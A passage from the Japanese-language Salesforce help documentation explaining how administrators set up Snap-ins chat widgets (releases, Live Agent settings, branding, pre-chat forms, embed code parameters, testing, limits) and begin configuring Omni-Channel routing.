使用する Snap-ins ウィジェットごとに Snap-ins リリースを作成します。Snap-ins

チャットの設定ノードは Lightning Experience のみで使用できます。
Snap-insチャット設定では Salesforceコミュニティや Force.comサイトが使用される
ので、ユーザをゲストユーザプロファイルに関連付けできます。使用できるコ
ミュニティまたはサイトがすでにあるかどうかを確認します。使用できるサイ
トがある場合は、そのサイトをエンドポイントとして使用できます。使用でき
るサイトがない場合は、この目的のためにサイトを作成します。
1. [設定] から、[クイック検索] ボックスに「Snap-ins」と入力し、[スナップ

イン] を選択します。
2. Snap-ins 設定ページで、[新規リリース] をクリックします。

スナップインリリースページが表示されます。
3. [スナップインリリース名] 項目にスナップインの名前を入力します。

リリース名はスナップインページのスナップインリストに表示されます。複
数のスナップインリリースがある場合は、内容がわかりやすい名前を使用し
て、このスナップインを他のものと区別しやすいようにします。

4. [API 参照名] 項目は自動的に入力されます。
5. [サイトエンドポイント] メニューで、ドロップダウンリストから Salesforceコミュニティまたは Force.comサ

イトを選択します。
メニューに何も表示されない場合、組織に設定されたコミュニティやサイトはありません。

6. [作成] をクリックします。
スナップインリリースが作成されました。

スナップインリリースを作成後、スナップインチャットウィジェットで使用する Live Agent 設定を行います。

関連トピック:

Snap-ins チャットリリースの Live Agent 設定を指定
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Snap-ins チャットリリースの Live Agent 設定を指定

エディション

Snap-ins 設定ノードを使
用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Professional Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Snap-ins チャットを設定
する
• 「アプリケーションの

カスタマイズ」

Snap-ins チャットウィジェットでは、顧客がエージェントとチャットできるよ
う、Live Agentリリース ID およびボタンが使用されます。指定される Live Agentの
詳細は、Web ページに追加するチャットウィジェットコードの生成に使用され
ます。
Live Agent設定を指定する前に、Snap-insチャットウィジェットを使用するための
Live Agent リリースと Live Agent チャットボタンがあるかどうか確認します。
1. [設定] から、[クイック検索] ボックスに「Snap-ins」と入力し、[スナップ

イン] を選択します。
2. 使用するスナップインリリースを選択します。
3. [Snap-ins] 設定ページで、[Live Agent の基本設定] セクションに移動し、

[開始] をクリックします。
4. [Live Agent リリース] メニューで、ドロップダウンリストからスナップ

インチャットで使用する Live Agent 設定を選択します。
5. [Live Agent ボタン] メニューで、ドロップダウンリストからスナップイ

ンチャットウィジェットで使用する Live Agent ボタンを選択します。
6. [保存] をクリックします。
Live Agent 設定を指定後、Snap-ins チャットウィジェットを Web ページに追加するためのコードを取得します。

関連トピック:

Snap-ins チャットコードスニペットをコピーしコードを Web ページに貼り付け

Snap-ins チャットウィジェットのブランド設定と外観のカスタマイズ

エディション

Snap-ins 設定ノードを使
用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Professional Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Snap-ins チャットを設定
する
• 「アプリケーションの

カスタマイズ」

会社のブランドアイデンティティが反映されるように、Snap-ins チャットウィ
ジェットで使用される色やフォントを選択します。
作業を開始する前に、Web サイトのメンテナンスを行うチームに問い合わせて、
会社のブランドの色コードを入手します。ブランドの色は、16 進数コードまた
は RGB コードを入力するか、カラーパレットで色を選択することによって指定
できます。
次のスクリーンショットは、ブランド設定要素がチャットウィジェットでどの
ように表示されるかを示しています。
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表 44 : Snap-ins チャットウィジェットでカスタマイズ可能なブランド要素
説明ブランド要素

次の色を設定します。ブランドプライマリ

• 事前チャット画像の背景
• ポップアップメッセージの外枠
• 読み込み中ボール
• チャットが最小化されているときの読み込み中ボール
デフォルトでは、色は16 進数の #222222 (ナイトブラック) に設定されて
います。
スクリーンショットでは、ブランドプライマリ要素は [1] で示されてい
ます。

次の色を設定します。ブランドセカンダリ

• アクションの呼びかけボタン ([チャットを開始]、[エキスパートと
チャット] など)

• 入力項目のフォーカス
• [送信] ボタン
• ゲストメッセージチャットペイロード
• セカンダリボタン
• 最小化時に新しいメッセージがあるときのチャット
デフォルトでは、色は16 進数の #005290 (濃青灰色) に設定されています。
スクリーンショットでは、ブランドセカンダリ要素は [2] で示されてい
ます。
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説明ブランド要素

次の色を設定します。コントラストプライマリ

• チャットの本文テキスト
• チャットの入力テキスト
デフォルトでは、色は16 進数の #333333 (ダークグレー) に設定されてい
ます。
背景色は白です。
スクリーンショットでは、コントラストプライマリ要素は [3] で示され
ています。

次の色を設定します。ナビゲーションバー

• チャットウィジェットのナビゲーションバー
• チャットが最小化されているときのチャットボタン
デフォルトでは、色は16 進数の #222222 (ナイトブラック) に設定されて
います。
スクリーンショットでは、ナビゲーションバー要素は [4] で示されてい
ます。

チャットウィジェットで使用されるフォントを設定します。フォント

チャットウィジェットのブランド設定をカスタマイズする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Snap-ins」と入力し、[スナップイン] を選択します。
2. 使用するスナップインリリースを選択します。
3. [Snap-ins] 設定ページで、[ブランド] セクションに移動し、[編集] をクリックします。
4. チャットウィジェットに表示する色を選択します。

16 進数コードを使用して色を入力します。RGB コードを入力するか、パレットから色を選択するには、色
項目の下矢印をクリックしてカラーパレットを開きます。

5. [完了] をクリックします。
6. 残りのブランドの色についてステップ 4 ～ 5 を繰り返します。
7. Snap-ins チャットウィジェットで使用するフォントを選択します。
8. [完了] をクリックします。

重要: 既存のチャットウィジェットのブランド設定を変更すると、そのチャットウィジェットのコードス
ニペットが変更されます。既存のチャットウィジェットのブランド設定を更新する場合は、Web ページの
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コードスニペットを更新する必要があります。コードスニペットをカスタマイズした場合、それらのカ
スタマイズを新しいコードスニペットに追加する必要があります。

関連トピック:

Snap-ins チャットコードスニペットをコピーしコードを Web ページに貼り付け
Snap-ins チャットのウィジェットコードのカスタマイズ

事前チャットフォームのカスタマイズ

エディション

Snap-ins 設定ノードを使
用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Professional Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Snap-ins チャットを設定
する
• 「アプリケーションの

カスタマイズ」

事前チャットフォームを使用して、顧客の連絡先情報を収集し、ニーズを調査
します。さまざまなビジネスニーズに対応する事前チャットフォームを作成し、
顧客情報を Salesforce レコード (リード、ケース、取引先責任者など) に関連付け
ることができます。フォームに使用される項目をカスタマイズすることもでき
ます。

事前チャットフォームを設計するときには、使用事例シナリオを選択できます。それにより、自動的にフォー
ムからの情報が Salesforce レコードに関連付けられます。顧客がフォームに名前またはメールアドレスを入力す
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ると、その情報が Salesforce 取引先責任者レコードまたはリードレコードと照合されます。一致するレコードが
見つからない場合は、レコードが作成されます。
たとえば、[サービス] シナリオを選択すると、顧客の情報がケースレコードおよび取引先責任者レコードと関
連付けられます。

表 45 : 事前チャット情報を Salesforce レコードに関連付ける使用事例
事前チャット情報が関連付けられるレコードタイプ使用事例

リードレコード営業

取引先責任者レコードサービス

ケースレコード

取引先責任者レコード基本

事前チャットフォームに表示される項目を選択したり、項目の順序を変更したり、項目を必須にしたりできま
す。フォームを顧客によりわかりやすくするために、最大 4 つの項目を追加できます。
事前チャットフォームを設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Snap-ins」と入力し、[スナップイン] を選択します。
2. 使用するスナップインリリースを選択します。
3. [Snap-ins] 設定ページで、[事前チャット] セクションに移動し、ラジオボタンを [有効] に移動します。
4. [編集] をクリックします。
5. 事前チャットフォームの使用事例を選択します。

a. 顧客がチャットを使用する主な理由を選択します。選択した理由は、顧客が事前チャットフォームに入
力した情報から作成される Salesforce レコードのタイプに影響します。

b. 事前チャットフォームから作成されるレコードタイプを選択します。ドロップダウンメニューにそのオ
ブジェクトで使用できるレコードタイプが表示されます。

c. [次へ] をクリックします。

6. 事前チャットフォームに表示される項目を選択します。
a. 項目の順序を変更するには、上下矢印キーを使用します。

メモ:  [サービス] シナリオの場合は、項目がオブジェクトごとにグループ化されています。[取引先
責任者] 項目は、常に [ケース] 項目の上に表示されます。

b. 項目を追加するには、[+] をクリックします。オブジェクトで使用できる項目のみ追加できます。
c. 項目を削除するには、[X] をクリックします。
d. 項目の入力を必須にするには、項目の横にある [必須] を選択します。
e. [保存] をクリックします。
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Snap-ins チャットコードスニペットをコピーしコードを Web ページに貼り付け

エディション

Snap-ins 設定ノードを使
用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Professional Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Snap-ins チャットを設定
する
• 「アプリケーションの

カスタマイズ」

Salesforce では、Snap-ins チャットの設定中に入力した情報に基づいて一意のコー
ドスニペットが生成されます。Web ページにチャットコードスニペットをコピー
して貼り付けると、Snap-ins チャットウィジェットを Web ページに追加できま
す。Web ページに省略可能なメタタグコードスニペットをコピーして貼り付け
ると、モバイルやデスクトップなどさまざまなフォーム要素に Web ページが対
応します。
チャットウィジェットを追加する Web ページへのアクセス権があることを確認
します。会社の Web 管理者の協力が必要な場合があります。
チャットコードスニペットを Web ページに追加すると、顧客はSnap-insチャット
ウィジェットを表示させたり、使用することができます。準備が整っていなく
て顧客にチャットへまだアクセスしてほしくない場合は、コードスニペットを
非公開 Web ページに追加します。
チャットウィジェットの外観を変更するコードをカスタマイズできます。
<meta>タグコードにより、Web ページが反応型になるので、さまざまなデバイ
スで Web ページやチャットウィジェットの見栄えやパフォーマンスがよくなり
ます。たとえば、顧客が Web ページとチャットウィジェットを携帯電話で表示
させている場合、ページとチャットは小さなフォーム要素に対応するようにサ
イズが変更されます。
適切なコードスニペットの応答のために推奨されるのは <meta>タグです。ページがすでに反応型の場合は、
このスニペットの追加や <meta>タグの変更が必要ないことがあります。他のデバイスでの動作に問題がある
場合は、<meta> タグの生成済みコードスニペットへの更新を試すことができます。スナップインチャット
ウィジェットを使用するすべてのページの head セクションにこのタグを追加します。適切な <meta> タグを
追加しないと、どのデバイスでページにアクセスしても、デスクトップ用の外観でスナップインチャットウィ
ジェットが表示されます。
1. [設定] から、[クイック検索] ボックスに「Snap-ins」と入力し、[スナップイン] を選択します。
2. 使用するスナップインリリースを選択します。
3. [Snap-ins]設定ページで、[スナップインのコードスニペット]セクションに移動し、[コードを取得]をクリッ

クします。
4. チャットコードスニペットをコピーし、Web ページの </body> 終了タグのすぐ上に貼り付けて、Snap-ins

チャットウィジェットをページに追加します。
チャットウィジェットを表示するすべての Web ページにチャットコードスニペットを貼り付けます。必要
に応じてチャットコードスニペットをカスタマイズします。

5. 必要に応じて、メタコードスニペットをコピーし、チャットウィジェットを表示するすべての Web ページ
の <meta> タグ head セクションに貼り付けます。

6. [完了] をクリックします。
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コードスニペットページを閉じます。

関連トピック:

Snap-ins チャットのウィジェットコードのカスタマイズ
Snap-ins チャットコードのカスタマイズ可能なパラメータ
Snap-ins チャット環境のテスト

Snap-ins チャットのウィジェットコードのカスタマイズ

エディション

Snap-ins 設定ノードを使
用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Professional Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Snap-ins チャットを設定
する
• 「アプリケーションの

カスタマイズ」

テキストエディタまたは HTML エディタを使用して、チャットウィジェットの
コードスニペットの省略可能なパラメータをカスタマイズします。
スナップインチャットウィジェットの外観および動作に影響する特定のパラメー
タをカスタマイズできます。
1. [設定] から、[クイック検索] ボックスに「Snap-ins」と入力し、[スナップ

イン] を選択します。
2. 使用するスナップインリリースを選択します。
3. [Snap-ins] 設定ページで、[スナップインのコードスニペット] セクションに移

動し、[コードを取得] をクリックします。
4. チャットコードスニペットをテキストエディタまたは HTML エディタにコピー

します。
5. テキストエディタまたは HTML エディタで、チャットウィジェットパラメー

タの画像 URL を指定します。
6. 変更内容を保存します。
チャットコードスニペットを変更後、Snap-insチャットウィジェットを表示する
すべての Web ページにコードを追加します。

関連トピック:

Snap-ins チャットコードスニペットをコピーしコードを Web ページに貼り付け
Snap-ins チャットコードのカスタマイズ可能なパラメータ
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Snap-ins チャットコードのカスタマイズ可能なパラメータ

エディション

Snap-ins 設定ノードを使
用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Professional Edition、
Unlimited Edition、および
Developer Edition

チャット環境を会社のブランド設定が反映されたものとするために、Snap-ins

チャットウィジェットの外観や動作に影響する特定のパラメータをカスタマイ
ズできます。次のパラメータを使用して、事前チャットバナー画像、ロゴ、待
機状態画像、およびエージェントのアバター写真をカスタマイズします。チャッ
トの読み込み中、エージェントがオンライン中、またはエージェントがオフラ
イン中にチャットボタンやチャットウィジェットに表示させる文言を、カスタ
マイズすることもできます。

Snap-ins チャットウィジェットで使用される画像のカスタマイズ
スナップインチャットウィジェットを追加する Web ページと同じリポジトリに
画像がある場合、相対 URL パスおよび名前か、完全な URL を使用できます。画像
が他の場所にある場合は、その画像の完全な URL を使用します。
コードをカスタマイズする前に、チャットウィジェットで使用する画像ファイルをアップロードします。

説明次のパラメータを設定次の画像をカスタマ
イズ

URL を指定して、事前チャット
フォームであいさつ (「Hello

embedded_svc.settings.prechatBackgroundImgURL
= "..."

事前チャットバナー
画像

Guest!」(ゲスト様、ようこそ!)

など) とサブテキスト (「An

agent is on the way.」(エージェン
トの準備がまもなく整いま
す。) など) の間に表示される
画像を設定します。
推奨画像サイズは 320 × 100 ピ
クセルです。

URL を指定してチャットの最小
化中に表示されるロゴを設定
します。

embedded_svc.settings.smallCompanyLogoImgURL
= "..."

最小化された待機状
態のロゴ

推奨画像サイズは 25 × 25 ピク
セルです。

URL を指定してチャットが待機
状態中の背景画像を設定しま
す。

embedded_svc.settings.waitingStateBackgroundImgURL
= "..."'

待機状態画像

推奨画像サイズは 200 × 60 ピク
セルです。
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説明次のパラメータを設定次の画像をカスタマ
イズ

URL を指定して、チャット中に
表示されるエージェントの画
像を設定します。

embedded_svc.settings.avatarImgURL = "..."エージェントのアバ
ター

推奨画像サイズは 40 × 40 ピク
セルです。

画像を .png 形式で作成し、次のサイズを使用して、スナップインチャット環境で画像が変形しないようにしま
す。

Snap-ins チャットウィジェットで使用されるデフォルトのチャットボタンのカスタマイズ

説明パラメータ

顧客とチャットウィジェットを接続するデフォルトの
チャットボタンを表示するには、

embedded_svc.settings.displayHelpButton =

displayHelpButton = true;を設定します。チャッ
トボタンを使用して、顧客は Web ページからチャッ
トを開始できます。
有効な値は true または false です。

Snap-ins チャットウィジェットに事前チャットフォームを表示するかどうかのカスタマイズ

説明パラメータ

顧客がチャットを開始するときに、事前チャット
フォームを表示するかどうかを指定するには、

embedded_svc.settings.initialInteractionState
= "..."

initialInteractionState = "PRECHAT";を設定
します。
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説明パラメータ

有効な値は PRECHAT または WAITING です。

メモ: これらの値では、大文字と小文字が区別
されます。

デフォルトでは、パラメータは事前チャットフォーム
を表示するように設定されます。WAITING に設定す
ると、チャットウィジェットに事前チャットフォーム
は表示されず、チャットウィンドウが直接開きます。

Snap-ins チャットウィジェットで使用される文言のカスタマイズ

説明パラメータ

エージェントがオンライン中にチャットボタンに表示
されるテキストをカスタマイズするには、パラメータ

embedded_svc.settings.onlineText = "..."

onlineText = "..." を、表示する任意のテキスト
に設定します。
値を指定しないと、デフォルトのテキスト「エキス
パートとチャット」が表示されます。

エージェントがオフライン中にチャットボタンに表示
されるテキストをカスタマイズするには、パラメータ

embedded_svc.settings.offlineText = "..."

offlineText = "..." を、表示する任意のテキス
トに設定します。
値を指定しないと、デフォルトのテキスト「エージェ
ントがオフライン」が表示されます。

チャットウィンドウが読み込み中にチャットボタンに
表示されるテキストをカスタマイズするには、パラ

embedded_svc.settings.onlineLoadingText =
"..."

メータ onlineLoadingText = "..."を、表示する
任意のテキストに設定します。
値を指定しないと、デフォルトのテキスト「読み込み
中」が表示されます。

関連トピック:

Snap-ins チャットコードスニペットをコピーしコードを Web ページに貼り付け
Snap-ins チャットのウィジェットコードのカスタマイズ
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Snap-ins チャット環境のテスト

エディション

使用可能なエディション:
Enterprise Edition、
Professional Edition、
Unlimited Edition、および
Developer Edition

Web ページに Snap-ins チャットを埋め込んだら、テストを行います。
エージェント側から Snap-ins チャットをテストするには、すべての Live Agent サ
ポートエージェント権限 (ページ3008)付きのLive AgentユーザとしてSalesforceにロ
グインします。
1. Service Cloud にログインして、適切なボタンに割り当てられたエージェントと

してオンラインにします。
2. 顧客側からチャットをテストします。同じブラウザの別のウィンドウで、

コードスニペットを配置した Web ページに移動し、チャットを起動して開始
します。
チャットが使用できる必要があります。

3. 顧客側、つまり Web ページで次のことを確認します。
• 事前チャットフォームの外観が期待したとおりになっている
• チャットウィンドウの外観が期待したとおりになっている

4. エージェント側、つまり Salesforce Console for Service で次のことを確認します。
• チャットが開始されると、チャット要求を受信する

チャットウィジェットおよび環境が期待どおりの外観であれば、顧客は埋め込みチャットの使用を開始して、
エージェントとやりとりできます。

関連トピック:

Live Agent サポートエージェントの権限

Snap-ins チャットの制限事項

エディション

Snap-ins 設定ノードを使
用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Professional Edition、
Unlimited Edition、および
Developer Edition

Snap-ins チャットには次の制限事項があります。
Snap-ins チャットの設定ノードは Lightning Experience のみで使用できます。
Snap-ins チャットでは、次の Live Agent 機能はサポートされていません。Snap-ins

チャットと共に使用する Live Agent設定、ボタン、またはリリースでこれらの設
定のいずれかを有効にすると、エージェントはそれらを使用できません。
• エージェントファイル転送
• 顧客のアイドルタイムアウト
• チャット転送
• 訪問者のトランスクリプトの保存
• 機密データルール
• 訪問者のブロック
Snap-ins チャットウィンドウのタイトルには、Live Agent の [[チャット] ウィンドウタイトル] 設定ではなく、
エージェント名が表示されます。Live Agent 設定でこの設定を有効にしても、Snap-ins チャットでは機能しませ
ん。
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Live Agent コンソール

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent コンソールは、Spring '13 より前にエージェントが顧客とチャットする
ために使用できた従来の機能です。Salesforceでは、Live Agent コンソールがサポー
トされなくなりました。Live Agent コンソールはいずれ廃止されるため、サポー
ト組織でまだ使用している場合は、できるだけ早く Salesforce コンソールの Live

Agent に移行することをお勧めします。
Salesforce コンソールの Live Agent にアップグレードする方法については、「シス
テム管理者向けの Live Agent」を参照してください。Salesforceヘルプには、Salesforce

コンソールの Live Agent を設定するエンドツーエンドプロセス (実装や Salesforce

組織に合わせたカスタマイズを含む) の説明があります。

Live Agent コンソールの制限事項

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent コンソールでは、一部の機能のみにアクセスが制限され、Spring '13 以
降にリリースされた Live Agent 機能は含まれません。
Salesforce コンソールの Live Agent にアップグレードする方法については、「シス
テム管理者向けの Live Agent」を参照してください。Salesforceヘルプには、Salesforce

コンソールの Live Agent を設定するエンドツーエンドプロセス (実装や Salesforce

組織に合わせたカスタマイズを含む) の説明があります。

エージェント機能
Live Agent コンソールでは、Salesforce コンソールでチャットしているときにエー
ジェントが使用するエージェント機能の一部がサポートされていません。

メモサポートされているかど
うか

機能

なし○チャットへの記事の添付

この機能は、CRM Chatlet

(Live Agentコンソールの従
来のプラグイン) でサポー
トされています。

○トランスクリプトへのレ
コードの添付

なし○クイックテキスト

なし○チャット要求の転送
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メモサポートされているかどうか機能

なし×チャット会議

なし×重要なアラート待機時間

なし×ナレッジのチャットの回答

なし×ファイルの転送

Live Agentコンソールでは、Live Agent

で指定した自動挨拶のみがサポー
制限付き自動挨拶

トされます。チャットボタン設定
で指定した自動挨拶はサポートさ
れません。

Live Agentコンソールでは、Live Agent

で指定したカスタムエージェント
制限付きカスタムエージェント名

名のみがサポートされます。チャッ
トボタン設定で指定したカスタム
エージェント名はサポートされま
せん。

スーパーバイザ機能
Live Agent コンソールは当初、エージェントと顧客のやりとりのみを対象として設計されました。そのため、
Live Agent コンソールは、Salesforce コンソールでサポートされているスーパーバイザ機能には対応していませ
ん。
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オムニチャネルの設定

システム管理者向けのオムニチャネル

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オムニチャネルを設定す
る
• 「アプリケーションの

カスタマイズ」

権限セットおよびプロ
ファイルを変更する
• 「プロファイルと権限

セットの管理」

オムニチャネルは、コールセンターでケース、チャット、リードなどの任意の
種類の新しい作業項目を組織の最も適格で対応可能なエージェントに転送でき
る包括的なカスタマーサービスソリューションです。オムニチャネルは、Salesforce

コンソールにシームレスに統合されます。
オムニチャネルはカスタマイズ可能な柔軟な機能で、宣言的に設定できるため、
コードを記述する必要がありません。オムニチャネルを使用して作業項目の優
先度を管理すれば、重要な作業をエージェントにすばやく簡単に転送できるよ
うになります。作業項目を受け入れるエージェントの業務量を管理して、処理
可能な数量のみが割り当てられるようにします。また、各種の割り当てにどの
エージェントが対応するかも定義できます。たとえば、リードおよび販売に関
する問い合わせに対応するエージェントのグループと、サポートに関する質問
のある顧客に対応する別のグループを作成することが考えられます。
そして何よりも、オムニチャネルでは、これらのすべての割り当てが適切なエー
ジェントに自動的に転送されます。エージェントがキューから割り当て作業を
手動で選択する必要がなくなり、コールセンターの全員の時間、労力、知力が
節約されます。エージェントが割り当て作業に対応しやすくなるため、顧客を
より迅速かつ効率的にサポートでき、割り当て作業がより早く完了します。
では始めましょう。

オムニチャネルオブジェクトの作成

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

オムニチャネルを実装し実行するための最初のステップは、Salesforce で必要な
オブジェクトを作成することです。

オムニチャネルの有効化
組織で機能を設定するために必要なオブジェクトにアクセスするには、オム
ニチャネルを有効にします。
サービスチャネルの作成
サービスチャネルでは、ケース、リード、SOS セッション、カスタムオブジェ
クトなど、ほぼすべての Salesforce オブジェクトを作業レコードに変換できま
す。オムニチャネルでは、(エージェント生産性という庭園から花を抜くよう
に) これらの作業項目がキューから引き出され、エージェントにリアルタイ
ムで転送されます。
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ルーティング設定の作成
ルーティング設定により、作業項目のエージェントへの転送方法が決まります。ルーティング設定を使用
して、キューから取得する作業項目に相対的な重要性およびサイズの優先度を付けます。この設定により、
最も重要な作業項目が優先的に処理され、作業がエージェントに均等に分散されます。作業項目のエージェ
ントへの転送を開始するには、ルーティング設定を作成してキューに割り当てます。
ルーティング設定およびエージェントのキューへの関連付け
キューは Salesforce の典型的な要素で、チームがリード、ケース、およびカスタムオブジェクトを管理する
うえで役立ちます。オムニチャネルにより、作業項目をリアルタイムにエージェントに転送するキューの
機能が向上します。オムニチャネルは作業項目をエージェントに自動的かつリアルタイムに転送するため、
エージェントが作業項目をキューから手動で選択する必要がありません。
プレゼンス設定の作成
ここではエージェントに的を絞って説明します。プレゼンス設定により、エージェントが受け入れ可能な
作業量と、顧客に対応中にエージェントがアクセスできるオムニチャネルの動作が決まります。さまざま
なチャネルのサポートを行うエージェントのグループごとに異なる設定を定義できます。
プレゼンス状況の作成
プレゼンス状況は、エージェントがオンラインで、受信した作業項目を受け入れ可能か、退席中あるいは
オフラインかを示します。

オムニチャネルの有効化

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オムニチャネルを設定す
る
• 「アプリケーションの

カスタマイズ」

組織で機能を設定するために必要なオブジェクトにアクセスするには、オムニ
チャネルを有効にします。
1. [設定] から、[クイック検索] ボックスに「オムニチャネル設定」と入力し、

[オムニチャネル設定] を選択します。
2. [オムニチャネルの有効化] を選択します。
3. [保存] をクリックします。
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サービスチャネルの作成

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オムニチャネルを設定す
る
• 「アプリケーションの

カスタマイズ」

サービスチャネルでは、ケース、リード、SOS セッション、カスタムオブジェク
トなど、ほぼすべての Salesforce オブジェクトを作業レコードに変換できます。
オムニチャネルでは、(エージェント生産性という庭園から花を抜くように) これ
らの作業項目がキューから引き出され、エージェントにリアルタイムで転送さ
れます。
サービスチャネルでは、作業のソース、および他の作業項目との比較によるそ
の作業の優先度を管理できます。サービスチャネルを作成したら、作業項目の
エージェントへの転送方法を決定するキューに関連付けます。ケースや SOS コー
ルなどのサポートチャネルのサービスチャネル、あるいはリードなどの販売チャ
ネルのサービスチャネルを作成できます。
1. [設定] から、[クイック検索]ボックスに「サービスチャネル」と入力し、[サー

ビスチャネル] を選択して [新規] をクリックします。
2. サービスチャネルの設定を指定します。
3. [保存] をクリックします。

サービスチャネル設定
サービスチャネル設定をカスタマイズして、組織が、チャット、メール、SOS

コール、ソーシャルチャネルなどさまざまなソースから作業を受信する方法
を定義します。
オムニチャネルでサポートされるオブジェクト
オムニチャネルにより、レコードがリアルタイムでエージェントに割り当てられるため、エージェントの
生産性が向上します。オムニチャネルでは、どのようなオブジェクトやレコードがサポートされているの
でしょうか。

サービスチャネル設定

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

サービスチャネル設定をカスタマイズして、組織が、チャット、メール、SOS

コール、ソーシャルチャネルなどさまざまなソースから作業を受信する方法を
定義します。

実行する内容設定

サービスチャネルに名前を付けます。
このサービスチャネル名、またはその
バージョンが自動的に [API 参照名]

になります。

サービスチャネル名

サービスチャネルに API 名を付けま
す。

API 参照名

このサービスチャネルと関連付けられ
たSalesforceの標準オブジェクトまたは

Salesforce Object
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実行する内容設定

カスタムオブジェクトの種別。たとえば、Web ケー
スのサービスチャネルがある場合、[関連オブジェク
ト種別] を ケース に設定します。サービスチャネル
でサポートするオブジェクトの完全なリストについ
ては、「オムニチャネルでサポートされるオブジェ
クト」を参照してください。

(省略可能) エージェントが作業項目要求を受け入れた
ときに、指定したカスタムコンソールフッターコン

カスタムコンソールフッターコンポーネント

ポーネントを開きます。たとえば、エージェントが
リードを受け入れたときに、マーケティングキャン
ペーンウィジェットを開きます。

オムニチャネルでサポートされるオブジェクト

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

オムニチャネルにより、レコードがリアルタイムでエージェントに割り当てら
れるため、エージェントの生産性が向上します。オムニチャネルでは、どのよ
うなオブジェクトやレコードがサポートされているのでしょうか。
オムニチャネルでは現在、次のオブジェクトおよびレコードの転送がサポート
されています。
• ケース
• チャット
• SOS ビデオ通話
• ソーシャル投稿
• 注文
• リード
• カスタムオブジェクト
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ルーティング設定の作成

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オムニチャネルを設定す
る
• 「アプリケーションの

カスタマイズ」

ルーティング設定により、作業項目のエージェントへの転送方法が決まります。
ルーティング設定を使用して、キューから取得する作業項目に相対的な重要性
およびサイズの優先度を付けます。この設定により、最も重要な作業項目が優
先的に処理され、作業がエージェントに均等に分散されます。作業項目のエー
ジェントへの転送を開始するには、ルーティング設定を作成してキューに割り
当てます。
組織のサービスチャネルごとにルーティング設定を作成します。ルーティング
設定を作成したらキューに関連付け、オムニチャネルの設定後にエージェント
が作業を受信できるようにします。
1. [設定] から、[クイック検索]ボックスに「ルーティング」と入力し、[ルーティ

ング設定] を選択して [新規] をクリックします。
2. ルーティングに関する設定を指定します。
3. [保存] をクリックします。

ルーティングに関する設定
ルーティングに関する設定をカスタマイズして、作業項目をエージェントに
転送する方法を定義します。
オムニチャネルのルーティングモデルオプション
オムニチャネルを使用して、受信した作業項目をエージェントに転送する方法を指定します。

ルーティングに関する設定

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ルーティングに関する設定をカスタマイズして、作業項目をエージェントに転
送する方法を定義します。

基本情報

実行する内容設定

サービスのルーティング設定に名前を
付けます。
このルーティング設定名、またはその
バージョンが自動的に [API 参照名]

になります。

ルーティング設定名

サービスチャネルに API 名を付けま
す。

API 参照名

組織がオムニチャネルの制限に達した
場合に、オムニチャネルの項目の転送

オーバーフロー任命先

先になるユーザまたはキューを設定し
ます。次のことを確認します。

3082

オムニチャネルの設定カスタマーサポートツールの設定および管理



実行する内容設定

• このルーティング設定を使用しているキューが処
理するオブジェクトへのアクセス権があるユーザ
またはキューを選択していること

• 一括処理 (複数の要求の状況または所有者の変更
など) に関与するすべてのオムニチャネルキュー
に、オーバーフロー任命先を指定したルーティン
グ設定を割り当てていること

ルーティング設定

実行する内容設定

このルーティング設定に関連付けられているキューの
作業項目がエージェントに転送される順序。キュー内

ルーティング優先度

の番号が低いオブジェクトから順にエージェントに転
送されます。
たとえば、高い評価のリードに優先度 1、低い評価の
リードに優先度 2 を設定した場合、高い評価のリー
ドが低い評価のリードよりも先にエージェントに転送
されて割り当てられます。
バックエンドで、業務量に空きのあるエージェントを
特定し、次の優先順序で作業を割り当てます。
1. 作業項目の転送元のキューの優先度
2. 作業項目がキューで待機していた時間
3. キューの新しい作業項目を受け入れ可能なキュー

のメンバー
作業項目がエージェントに割り当てられると、オブ
ジェクトの所有者がキューからエージェントに変わり
